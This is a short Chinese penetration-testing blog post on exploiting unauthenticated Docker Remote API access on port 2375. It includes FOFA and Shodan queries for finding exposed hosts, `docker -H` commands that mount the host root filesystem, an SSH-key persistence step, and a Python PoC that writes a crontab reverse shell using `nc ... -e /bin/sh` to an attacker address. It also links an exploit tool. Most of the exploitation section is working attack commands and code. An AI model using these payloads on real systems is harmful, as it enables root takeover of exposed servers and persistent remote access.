Docker未授权访问

发布于 2021-02-15  499 次阅读


《渗透测试》目录

Docker未授权访问

Docker:Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux机器或Windows 机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。

 Docker组成部分:

  • 1.DockerClient客户端
  • 2.Docker Daemon守护进程
  • 3.Docker Image镜像
  • 4.DockerContainer容器

Docker原理

Docker核心解决的问题是利用LXC来实现类似VM的功能,从而利用更加节省的硬件资源提供给用户更多的计算资源。同VM的方式不同, LXC 其并不是一套硬件虚拟化方法 - 无法归属到全虚拟化、部分虚拟化和半虚拟化中的任意一个,而是一个操作系统级虚拟化方法, 理解起来可能并不像VM那样直观。所以我们从虚拟化到docker要解决的问题出发,看看他是怎么满足用户虚拟化需求的。


漏洞发现

  • 端口:默认开放在2375端口
  • fofa:country="UA"&&port="2375"
  • shodan:port 2375 org:"Amazon.com"
  • 默认页面:通过url的方式调用API,返回{"message":"page not found"}代表存在漏洞

漏洞利用

  • 1.可以使用/version、/info可以查看其他信息
利用方法:在已经安装docker的vps上,使用-H参数连接目标主机的docker,使用images命令查询目标系统存在的镜像。    
docker -H tcp://xx.xx.xx.xx:2375 images
  • 2.使用docker命令创建一个容器,并将宿主机的磁盘挂载到容器中
docker -H tcp://xx.xx.xx.xx:2375 run -it -v /:/mnt 7731472c3f2a /bin/bash
  • 3.反弹shell(写公钥)
在vps上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器
生成公钥:ssh-keygen -t rsa
  • 4.写入crontab反弹Shell
poc:
   import docker

   client = docker.DockerClient(base_url='http://your-ip:2375/')
   data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''',remove=True, volumes={'/etc':{'bind': '/tmp/etc', 'mode': 'rw'}})

也可以挂载var/spool/cron/目录,将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)
  • 5.反弹shell(nc)
使用nc(netstat,不是nmap的那个)通过在本地需要反弹shell的端口开启监听,从而可以获取到目标机器反弹来的shell

利用方法:
https://github.com/winezer0/dockerRemoteApiGetRootShell-fix

人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。